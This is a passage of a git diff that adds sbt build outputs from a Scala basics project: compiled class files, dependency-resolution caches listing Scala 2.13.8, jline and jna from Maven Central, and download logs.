b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Dancer.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Singer.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Singer.class new file mode 100644 index 00000000..6c56b602 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Singer.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Talkative.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Talkative.class new file mode 100644 index 00000000..d7f3d07f Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat$Talkative.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat.class new file mode 100644 index 00000000..7e7ed7dc Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/self_type/Cat.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonBody.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonBody.class new file mode 100644 index 00000000..fb1e1b16 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonBody.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonHobby.class b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonHobby.class new file mode 100644 index 00000000..4b7d8856 Binary files /dev/null and b/JavaSecurity/JDK/Scala1/target/scala-2.13/classes/basiCode/trait/PersonHobby.class differ diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/inputs b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/inputs new file mode 100644 index 00000000..df642f7c --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/inputs @@ -0,0 +1 @@ +490089905 \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/output b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/output new file mode 100644 index 00000000..9a48fde1 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/scala-2.13/update/update_cache_2.13/output @@ -0,0 +1 @@ +{"cachedDescriptor":".","configurations":[{"configuration":{"name":"compile"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"compile-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"docs"},"modules":[],"details":[]},{"configuration":{"name":"optional"},"modules":[],"details":[]},{"configuration":{"name":"plugin"},"modules":[],"details":[]},{"configuration":{"name":"pom"},"modules":[],"details":[]},{"configuration":{"name":"provided"},"modules":[],"details":[]},{"configuration":{"name":"runtime"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"runtime-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"scala-doc-tool"},"modules":[],"details":[]},{"configuration":{"name":"scala-tool"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-compiler","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-compiler","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-compiler/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"optional","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.scala-lang","name":"scala-reflect","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-reflect","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/scala-reflect/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]},{"module":{"organization":"org.jline","name":"jline","revision":"3.21.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jline","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.jar"]],"missingArtifacts":[],"evicted":false,"extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[],"callers":[]},{"module":{"organization":"net.java.dev.jna","name":"jna","revision":"5.9.0","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"jna","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.jar","extraAttributes":{},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://github.com/java-native-access/jna","extraAttributes":{},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["LGPL-2.1-or-later","https://www.gnu.org/licenses/old-licenses/lgpl-2.1"],["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0.txt"]],"callers":[]}],"details":[]},{"configuration":{"name":"sources"},"modules":[],"details":[]},{"configuration":{"name":"test"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"test-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"jar","extension":"jar","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]}],"stats":{"resolveTime":-1,"downloadTime":-1,"downloadSize":-1,"cached":false},"stamps":{}} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/_global/csrLogger/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/csrLogger/_global/streams/out new file mode 100644 index 00000000..82db3fc7 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/csrLogger/_global/streams/out @@ -0,0 +1,21 @@ +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.pom +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.pom +[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.pom +[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.pom +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.pom +[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline-parent/3.21.0/jline-parent-3.21.0.pom +[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0.jar +[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8.jar +[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-sources.jar +[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-sources.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-sources.jar +[debug] downloaded https://repo1.maven.org/maven2/org/jline/jline/3.21.0/jline-3.21.0-javadoc.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-sources.jar +[debug] downloaded https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.9.0/jna-5.9.0-javadoc.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-reflect/2.13.8/scala-reflect-2.13.8-javadoc.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-compiler/2.13.8/scala-compiler-2.13.8-javadoc.jar +[debug] downloaded https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/_global/dumpStructure/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/dumpStructure/_global/streams/out new file mode 100644 index 00000000..68ffea54 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/_global/dumpStructure/_global/streams/out @@ -0,0 +1,2 @@ +[info] Writing structure to /private/var/folders/y5/frw31bm163n6g_q9wz9qkmyc0000gn/T/sbt-structure.xml... +[info] Done. diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/csrConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/csrConfiguration/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/csrProject/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/csrProject/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/input_dsp b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/input_dsp new file mode 100644 index 00000000..69acb19f --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/input_dsp @@ -0,0 +1 @@ +-106189456 \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/output_dsp b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/output_dsp new file mode 100644 index 00000000..b0ae6329 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/dependencyPositions/_global/streams/update_cache_2.13/output_dsp @@ -0,0 +1 @@ +{"{\"organization\":\"org.scala-lang\",\"name\":\"scala-library\",\"revision\":\"2.13.8\",\"isChanging\":false,\"isTransitive\":true,\"isForce\":false,\"explicitArtifacts\":[],\"inclusions\":[],\"exclusions\":[],\"extraAttributes\":{},\"crossVersion\":{\"type\":\"Disabled\"}}":{"value":{"$fields":["path","startLine"],"path":"(sbt.Classpaths.jvmBaseSettings) Defaults.scala","startLine":3407},"type":"LinePosition"}} \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/ivyConfiguration/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/ivyConfiguration/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/ivySbt/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/ivySbt/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/moduleSettings/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/moduleSettings/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/projectDescriptors/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/projectDescriptors/_global/streams/out new file mode 100644 index 00000000..e69de29b diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/update/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/update/_global/streams/out new file mode 100644 index 00000000..dad971a5 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/update/_global/streams/out @@ -0,0 +1,3 @@ +[debug] not up to date. inChanged = true, force = false +[debug] Updating ... +[debug] Done updating diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/out b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/out new file mode 100644 index 00000000..0d834bb5 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/out @@ -0,0 +1,3 @@ +[debug] not up to date. inChanged = true, force = false +[debug] Updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/"), "root")... +[debug] Done updating ProjectRef(uri("file:/Users/drunkbaby/Desktop/Codes/JavaSecurityLearning/JavaSecurity/JDK/Scala1/"), "root") diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/inputs b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/inputs new file mode 100644 index 00000000..08e7b29c --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/inputs @@ -0,0 +1 @@ +402252421 \ No newline at end of file diff --git a/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/output b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/output new file mode 100644 index 00000000..b3eee7d7 --- /dev/null +++ b/JavaSecurity/JDK/Scala1/target/streams/_global/updateClassifiers/_global/streams/update_cache_2.13/output @@ -0,0 +1 @@ +{"cachedDescriptor":".","configurations":[{"configuration":{"name":"compile"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"compile-internal"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-javadoc.jar"]],"missingArtifacts":[],"evicted":false,"homepage":"https://www.scala-lang.org/","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"configurations":[{"name":"test"},{"name":"optional"},{"name":"compile"},{"name":"default"},{"name":"runtime"}],"licenses":[["Apache-2.0","https://www.apache.org/licenses/LICENSE-2.0"]],"callers":[]}],"details":[]},{"configuration":{"name":"docs"},"modules":[],"details":[]},{"configuration":{"name":"optional"},"modules":[],"details":[]},{"configuration":{"name":"plugin"},"modules":[],"details":[]},{"configuration":{"name":"pom"},"modules":[],"details":[]},{"configuration":{"name":"provided"},"modules":[],"details":[]},{"configuration":{"name":"runtime"},"modules":[{"module":{"organization":"org.scala-lang","name":"scala-library","revision":"2.13.8","configurations":"default","isChanging":false,"isTransitive":true,"isForce":false,"explicitArtifacts":[],"inclusions":[],"exclusions":[],"extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"crossVersion":{"type":"Disabled"}},"artifacts":[[{"name":"scala-library","type":"src","extension":"jar","classifier":"sources","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar","extraAttributes":{"info.apiURL":"https://www.scala-lang.org/api/2.13.8/"},"allowInsecureProtocol":false},"file:///Users/drunkbaby/Library/Caches/Coursier/v1/https/repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-sources.jar"],[{"name":"scala-library","type":"doc","extension":"jar","classifier":"javadoc","configurations":[],"url":"https://repo1.maven.org/maven2/org/scala-lang/scala-library/2.13.8/scala-library-2.13.8-j